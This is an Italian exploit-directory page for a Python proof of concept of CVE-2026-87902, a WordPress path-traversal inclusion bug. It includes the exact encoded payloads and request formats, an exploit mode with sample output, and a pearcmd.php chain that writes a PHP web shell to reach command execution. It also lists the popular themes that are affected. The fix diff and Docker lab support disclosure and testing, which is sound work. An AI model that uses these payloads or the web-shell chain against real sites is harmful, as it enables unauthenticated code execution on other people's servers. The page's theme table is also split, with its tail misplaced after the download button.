Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-87902 — PoC Python per CVE-2026-87902, un RCE da path traversal non autenticato in WordPress tramite get_page_template(), con fingerprinting della versione, controlli del tema e inclusione di file opzionale. | Kitploit
Strumenti/GitHubGitHub/vulpecuna/cve-2026-87902
Scanner di VulnerabilitàAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingStrumento di Accesso RemotoLab e Pratica
GitHubvulpecuna/cve-2026-87902

CVE-2026-87902

PoC Python per CVE-2026-87902, un RCE da path traversal non autenticato in WordPress tramite get_page_template(), con fingerprinting della versione, controlli del tema e inclusione di file opzionale.

3161 giorno faNon ancora revisionato
Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-87902

AdvisoryGHSA-7hp8-65ch-5whp
ProdottoWordPress <= 7.1.1, corretto in 7.1.2; entrambe le versioni testate
Sinkwp-includes/template.php, get_page_template()
Causail candidato costruito da pagename non passa attraverso validate_file()
Attoreanonimo, nessun account, nessun cookie, nessun token CSRF
Metodosingola GET, due parametri
Effettoinclusione ed esecuzione di un .php arbitrario su disco nel processo di WordPress
Escalationesecuzione remota di comandi dove il gadget PEAR è sfruttabile, vedi PHP ed escalation
Scritture sul targetnessuna con l'opzione predefinita --include
Riprodotto qui6 release, 7 temi, 4 versioni di PHP

Richiesta

root@kitploit:~
GET /?page_id=<any published page>&pagename=<payload> HTTP/1.1

<payload> è la directory page-, il traversal e il target, con ogni punto e slash codificato due volte:

root@kitploit:~
templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-admin%252finstall
CampoRuolo
pagenameil payload. WP_Query lo passa attraverso sanitize_title_for_query(), che riscrive un punto letterale in un trattino ma preserva gli ottetti codificati in percentuale. get_page_template() chiama poi urldecode() per decodificare il risultato in un percorso
page_iduna qualsiasi pagina pubblicata, così la query corrisponde a un post invece di restituire un 404. Senza di esso il template di pagina non viene mai caricato

Il core costruisce page-{urldecode($pagename)}.php e lo risolve rispetto alla directory dello stylesheet. La codifica è necessaria: sanitize_title_for_query() riscrive un .. letterale in -.

Precondizioni

#CondizionePerché
1il tema attivo include una directory page-* di primo livelloil nome è page-{payload}.php, quindi il suo primo segmento deve risolversi su disco
2una pagina pubblicata che non sia né la front page né la pagina dei postis_front_page e is_home vengono provati prima di is_page
3il file target termina in .phpil core aggiunge l'estensione

Nessun contenuto caricato, nessuna modifica alla configurazione del sito, al tema o al core.

Tutti i 26 temi interessati chiamano la directory page-templates. poc.py prende il nome da themes.json, assume page-templates per un tema che non vi è presente, e --root lo sovrascrive con una lista separata da virgole.

Gli host Windows eliminano la precondizione 1. Win32 annulla .. lessicalmente, quindi un segmento che non esiste viene comunque annullato dal .. che lo segue.

PercorsoRisultato
C:\...\wordpress\page-nothing\..\README.mdesiste
C:\...\wordpress\page-nothing\README.mdnon esiste

Testato con os.stat su Windows 11, che usa la stessa gestione dei percorsi Win32 di file_exists() di PHP. WordPress stesso non è stato eseguito su Windows.

Utilizzo

Check, l'impostazione predefinita

Identifica il tema e le due versioni, poi chiede se la directory page-* esiste. Nulla viene incluso o eseguito.

root@kitploit:~
python3 poc.py --target https://example.com
root@kitploit:~
 1  GET  /                                            200  WordPress 7.1.1, theme neve
 2  GET  /wp-content/themes/neve/style.css            200  neve 4.2.11
 3  GET  /wp-content/themes/neve/page-templates/      403  refused, which on its own establishes nothing
 4  GET  /wp-content/themes/neve/page-e464e285/       404  the control is absent, so the refusal was about existence: the directory is there
────────────────────────────────────────────────────────────────────────────
result    neve ships page-templates, core 7.1.1
next      rerun with --exploit to make the target prove it
Risposta su page-<root>/Lettura
200la directory esiste e mostra il contenuto
404nessuna directory di questo tipo
403inconcludente, quindi segue una richiesta di controllo per page-<8 random hex>/
403 poi controllo 404il rifiuto riguardava l'esistenza, la directory esiste
403 poi controllo rifiutatoil server rifiuta qualunque cosa gli venga chiesta, uscita 4

Affected richiede entrambe: la directory esiste, e la versione è pari o inferiore a 7.1.1.

Exploit

Esegue prima il check, poi include il file a meno che il check non abbia escluso il target.

root@kitploit:~
python3 poc.py --target https://example.com --exploit
root@kitploit:~
 5  GET  /?rest_route=/wp/v2/pages                    200  1 published page
 6  GET  /?page_id=2&pagename=page-templates/../../   200  1368 bytes, not the theme's page  [page-templates, page_id 2]
────────────────────────────────────────────────────────────────────────────
result    wp-admin/install.php ran: WordPress &rsaquo; Installation

Un template di tema renderizzato fa sempre riferimento a /wp-content/themes/ tramite wp_head(), un file incluso dall'esterno del tema no. Questa è la regola di verdetto.

Opzioni

OpzionePredefinitoEffetto
--target URLrichiestodeployment sotto test
--exploitoffinclude un file dopo il check
--include PATHwp-admin/install.phpil .php da includere. I percorsi relativi si risolvono dalla root di WordPress, i percorsi assoluti risalgono con --depth
--depth N7salti ../ per un --include assoluto
--root NAME[,NAME]da themes.jsonle directory page-* da provare, senza il prefisso page-
--page-id IDscopertosalta la scoperta della pagina
--theme SLUGscopertosalta la ricerca del tema
--theme-version Vscopertosalta la ricerca della versione del tema
--no-versionoffnon effettuare alcuna richiesta il cui unico scopo sia apprendere una versione
--core-json PATHcore.jsonimpronte delle release, lette solo quando nulla ha rivelato una versione
--traceoffstampa ogni scambio
--jsonoffun solo oggetto JSON, nient'altro
--yesoffsalta la conferma
CodiceCheckExploit
0affectedun .php esterno al tema è stato incluso
1not affectednon incluso
2nessuna risposta, o la risposta non è WordPressidem
3utilizzo, o rifiuto alla confermaidem
4inconcludente, vedi i casi 403 e 7.1.xnon usato

L'opzione predefinita --include è wp-admin/install.php: in ogni WordPress, output inconfondibile, non cambia nulla.

I certificati TLS non vengono verificati. Quelli scaduti, autofirmati e con hostname non corrispondente vengono accettati.

Fingerprinting della versione

Provati in ordine, fermandosi al primo che risponde.

FonteCostoSu 7.1.1
meta generator sulla home pagegratuitoversione esatta
?ver= su un asset in /wp-includes/gratuitoversione esatta
/?feed=rss21 richiestaversione esatta
/wp-links-opml.php1 richiestaversione esatta
sha256 di un asset servito rispetto a core.json1 richiestal'insieme delle release che distribuiscono quei byte

core.json copre le 112 release pubblicate e 7.1.2, quattro asset ciascuna. Incrociandoli si identificano esattamente 9 release e restano in media 4 candidati. Affected richiede che ogni candidato sia pari o inferiore a 7.1.1.

7.1.1 e 7.1.2 non possono essere distinti dall'esterno. I tre file che differiscono sono wp-admin/about.php, wp-includes/template.php e wp-includes/version.php, nessuno dei quali viene servito. Un sito 7.1.x che nasconde la sua versione ottiene l'uscita 4.

Temi

I 200 temi più installati su wordpress.org. 26 includono una directory page-* e sono interessati, insieme 765.500 su 9.027.090 installazioni attive. Gli altri 174 falliscono la precondizione 1.

TemaVersioneInstallazionipage-*StatoConfermato
neve4.2.11200.000page-templates🔴 affectedlab
sydney2.7180.000page-templates🔴 affectedlab
hestia3.3.670.000page-templates🔴 affectedlab
inspiro2.2.360.000page-templates🔴 affectedsurvey
colibri-wp1.0.16950.000page-templates🔴 affectedsurvey
twentyfourteen4.650.000page-templates🔴 affectedlab
twentytwelve4.950.000page-templates🔴 affectedlab
colormag4.2.540.000page-templates🔴 affectedlab
zakra4.3.330.000page-templates🔴 affectedsurvey
spacious1.9.1220.000page-templates

lab significa testato end to end con poc.py contro un'immagine stock, survey significa che la directory è stata letta dall'archivio del tema e il tema non è stato avviato.

Testati e non interessati, nessuno dei quali include una directory page-*: astra, kadence, twentysixteen, twentyseventeen, twentytwentythree, twentytwentyfive.

front-page.php, distribuito da hestia, neve e altri, non cambia l'affectedness. Esclude solo l'ID della front page per la richiesta.

Versioni

ReleaseTema predefinito dell'immagineCon un tema interessatoConfermato
7.1.2🟢 not affected, twentytwentyfive🟢 not affected, nevelab
7.1.1🟢 not affected, twentytwentyfive🔴 affected, nevelab
7.1.0🟢 not affected, twentytwentyfive🔴 affected, nevelab
7.0.4🟢 not affected, twentytwentyfive🔴 affected, nevelab
6.8.3🟢 not affected, twentytwentyfive🔴 affected, nevelab
6.1.0🟢 not affected, twentytwentythree🔴 affected, twentytwelvelab
4.9.8🟢 not affected, twentyseventeen🔴 affected, twentytwelvelab
le altre 105 releasenon misuratenon misuratenon misurate
Versione del temanon è una precondizione, lo è la directory page-*. neve 4.2.11 è stato usato su 6.8.3 e superiori, twentytwelve 4.9 sui due core più vecchi
7.1.2nessuna immagine pubblicata. Testato con lab/run.py --core 7.1.2, che applica l'archivio ufficiale della release sopra 7.1.1-apache
Out of the boxnessuna release dalla 4.1 in poi è interessata. Da twentyfifteen a twentytwentyfive non includono una directory page-*. twentyfourteen e twentytwelve sì, ed erano i predefiniti dalla 3.8 alla 4.0 e della 3.5, per cui non è pubblicata alcuna immagine
Non scaricabili15 dei 112 tag pubblicati: 14 più vecchi di 4.5.3-apache usano un manifest v1 che containerd 2.1 rifiuta, e 4.5.3-apache ha un layer che il registry non riesce a servire

Varianti PHP pubblicate per release, che decidono l'escalation seguente:

Release di WordPressVarianti PHP pubblicate come -apache
4.1.x a 4.5.xnessuna, solo tag semplice, 5.6
4.6.x a 5.0.x5.6 7.0 7.1 7.2 7.3
5.1.x a 5.5.x7.1 7.2 7.3 7.4
5.6.x a 6.0.x7.2 7.3 7.4 8.0 8.1
6.1.x a 6.6.x7.4 8.0 8.1 8.2 8.3
6.7.x8.1 8.2 8.3 8.4
6.8.x e 6.9.x8.1 8.2 8.3 8.4 8.5
7.0.x e 7.1.x8.2 8.3 8.4 8.5

PHP ed escalation

L'inclusione di file riesce su tutte e quattro le immagini e pearcmd.php è presente in ciascuna. L'esecuzione di comandi tramite il gadget richiede register_argc_argv attivo, che l'immagine php8.5 disattiva.

ImmaginePHPregister_argc_argv
$_SERVER['argv']
RCE via pearcmd.phpConfermato
7.1.1-php8.2-apache8.2.33On, popolato🔴 uid=33(www-data)lab
7.1.1-apache8.3.33On, popolato🔴 uid=33(www-data)lab
7.1.1-php8.4-apache8.4.25On, popolato🔴 uid=33(www-data)lab
7.1.1-php8.5-apache8.5.10Off, null🟢 non raggiuntolab

Letto attraverso apache2handler, non la CLI, che forza l'attivazione dell'impostazione. Le due richieste dietro la colonna RCE:

root@kitploit:~
# 1. include the gadget, whose arguments are the query string
GET /?page_id=2&pagename=<pearcmd payload>&+config-create+/&<?=system($_GET[0])?>+/tmp/labrce.php
# 2. include what it wrote
GET /?page_id=2&pagename=<tmp/labrce payload>&0=id
   -> uid=33(www-data) gid=33(www-data) groups=33(www-data)

poc.py include un file, non pilota il gadget. Raggiungilo con --include /usr/local/lib/php/pearcmd.php --depth 7. Nessun gadget diverso da pearcmd.php è stato cercato sull'immagine 8.5.

Fix

Letto da wordpress-7.1.2.zip. Due modifiche.

root@kitploit:~
  // wp-includes/template.php, get_page_template()
  if ( $pagename ) {
      $pagename_decoded = urldecode( $pagename );
-     if ( $pagename_decoded !== $pagename ) {
+     if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
          $templates[] = "page-{$pagename_decoded}.php";
      }
      $templates[] = "page-{$pagename}.php";
  }
root@kitploit:~
+ // wp-includes/template.php, new in 7.1.2, called by locate_template() on every candidate
+ function _wp_is_template_path_allowed( $path ) {
+     global $wp_stylesheet_path, $wp_template_path;
+
+     // A file path that exists and does not contain `..` is allowed.
+     if ( 0 === preg_match( '#(?:^|/)\.\.[. ]*(?:/|$)#', wp_normalize_path( $path ) ) ) {
+         return true;
+     }
+
+     $real_path = realpath( $path );
+     if ( false === $real_path ) {
+         return false;
+     }
+     $real_path = trailingslashit( wp_normalize_path( $real_path ) );
+
+     $directories = array(
+         $wp_stylesheet_path,
+         $wp_template_path,
+         ABSPATH . WPINC . '/theme-compat',
+     );
+     // ... plus the parent directory of a theme that lives in a subdirectory
+
+     foreach ( $directories as $directory ) {
+         $real_directory = realpath( $directory );
+         if ( false === $real_directory ) {
+             continue;
+         }
+         if ( str_starts_with( $real_path, trailingslashit( wp_normalize_path( $real_directory ) ) ) ) {
+             return true;
+         }
+     }
+     return false;
+ }

Il primo corregge il ramo vulnerabile, il secondo controlla ogni percorso di template risolto, qualunque cosa lo abbia prodotto. Testato: su 7.1.2 con neve attivo e page-templates presente, la stessa richiesta renderizza la pagina del tema stesso, 55.084 byte, invece dell'installer.

Esiste una seconda via su 7.1.1 e precedenti:

root@kitploit:~
POST /
name=<front page slug>&page_id=<posts page id>&preview=true&pagename=<payload>
Come differiscedevia WP_Query nel suo ramo post_name, che non riscrive mai pagename, quindi un .. letterale funziona
Cosa richiedeun tema senza single.php, perché is_single viene provato prima di is_page
Testato su7.1.1 con bloghash
Perché è quisopravvive a un fix che irrobustisce solo il sanitiser. Il controllo di contenimento sopra lo chiude anch'esso

Lab

root@kitploit:~
python3 lab/run.py                       # the pool in lab/targets.txt
python3 lab/run.py --tags 7.1.1-apache --theme [email protected] --keep
python3 lab/run.py --all --theme [email protected] --prune
python3 lab/run.py --refresh-versions    # rewrite lab/versions.txt from the registry
python3 lab/themes.py                    # rebuild themes.json
python3 lab/core.py --also 7.1.2         # rebuild core.json
root@kitploit:~
 1/9  7.1.1-apache  affected     0  included      twentytwelve      wp-admin/install.php ran
 2/9  7.1.1-apache  affected     0  included      hestia            wp-admin/install.php ran
 3/9  7.1.1-apache  affected     0  included      neve              wp-admin/install.php ran
 4/9  7.1.1-apache  affected     0  included      colormag          wp-admin/install.php ran
 5/9  7.1.1-apache  affected     0  included      sydney            wp-admin/install.php ran
 6/9  7.1.1-apache  unaffected   1  not included  twentytwentyfive  no page-* directory
 7/9  7.1.1-apache  affected     0  included      bloghash          wp-admin/install.php ran
 8/9  7.1.1-apache  unaffected   1  not included  kadence           no page-* directory
 9/9  7.1.1-apache  unaffected   1  not included  astra             no page-* directory
Per riga
Immaginewordpress:<tag> ufficiale, non modificata
Isolamentocontainer proprio, porta propria, database proprio nella MariaDB condivisa
Installazionevia HTTP attraverso wp-admin/install.php, così nessuna versione necessita di un wp-cli corrispondente
Statocome lo lascia l'installer, una pagina pubblicata, nulla caricato
Guidato conpoc.py --exploit, così una riga misura l'inclusione e non l'aspetto
OpzionePredefinitoEffetto
--jobs N2righe in parallelo
--theme SLUG[@VERSION]nessunoinstalla e attiva su ogni riga
--core VERSIONnessunoapplica quella release ufficiale sopra il core dell'immagine, che è come viene eseguita una release senza immagine
--keepofflascia le istanze attive, password admin stampata alla fine
--pruneoffelimina le immagini scaricate da questa esecuzione
--port-base N8110prima porta, una per riga, solo 127.0.0.1
--db-imagemariadb:10.6immagine del database
--timeout N180secondi concessi a un container per rispondere
--out PATHlab/results.jsondettaglio per riga

Codici di uscita: 0 ogni riga misurata, 1 almeno una non lo è stata, 2 Docker assente o nulla da eseguire, 3 utilizzo o rifiuto. Un'immagine WordPress è da 600 MB a 1,1 GB, quindi --all senza --prune sono decine di GB.

.github/workflows/lab.yml esegue quattro righe a ogni modifica al PoC o al lab, e settimanalmente: un tema interessato su 7.1.1 e su 6.8.3, il tema predefinito dell'immagine, e la variante php8.5. Ciascuna verifica il proprio codice di uscita atteso.

Riferimenti

AdvisoryGHSA-7hp8-65ch-5whp
Write-uphttps://ressl.ch/blog/cve-2026-87902-wordpress/
Un altro PoChttps://github.com/ressl/cve-2026-87902-poc

Due idee prese da quel PoC, entrambe testate qui prima:

IdeaMantenutaTestata
/index.php?rest_route= e /wp-json/ come route di fallback per l'elenco delle paginesìla scoperta riesce attraverso una delle tre
preferire una pagina senza un proprio template di pagina, poiché get_page_template() prova prima quel templatesì, come ordinamentoforzare una pagina che ne ha uno ha comunque riprodotto su 7.1.1, quindi costa al massimo una richiesta

File

root@kitploit:~
poc.py              the PoC, standalone, stdlib only
themes.json         per-theme facts poc.py reads (generated)
core.json           asset fingerprints per release (generated)
lab/run.py          the lab
lab/themes.py       rebuilds themes.json from the survey and the archive cache
lab/core.py         rebuilds core.json from the official release archives
lab/survey.json     200 most-installed themes, their version and page-* directories
lab/targets.txt     the pool lab/run.py stands up by default
lab/versions.txt    112 published releases (generated from the registry)
lab/results.json    last run (ignored)
lab/.cache/         theme and release archives (ignored)
attic/              previous attempt, unwired, ignored

Requisiti: Docker, Python 3.8+, nessun pacchetto di terze parti.

Scarica lo strumento
🔴 affected
survey
hueman3.7.2720.000page-templates🔴 affectedsurvey
bloghash1.0.3010.000page-templates🔴 affectedlab
botiga2.4.910.000page-templates🔴 affectedsurvey
tutorstarter4.0.310.000page-templates🔴 affectedsurvey
mesmerize1.6.18710.000page-templates🔴 affectedsurvey
flash1.4.1210.000page-templates🔴 affectedsurvey
shapely1.3.610.000page-templates🔴 affectedsurvey
silverstorm1.0.368.000page-templates🔴 affectedsurvey
prespa1.7.88.000page-templates🔴 affectedsurvey
hybridmag1.1.46.000page-templates🔴 affectedsurvey
chromenews6.2.105.000page-templates🔴 affectedsurvey
morenews4.3.105.000page-templates🔴 affectedsurvey
newsexo9.12.000page-templates🔴 affectedsurvey
reviewnews2.0.51.000page-templates🔴 affectedsurvey
the8-shop-dark1.0.5400page-templates🔴 affectedsurvey
newsonline0.6100page-templates🔴 affectedsurvey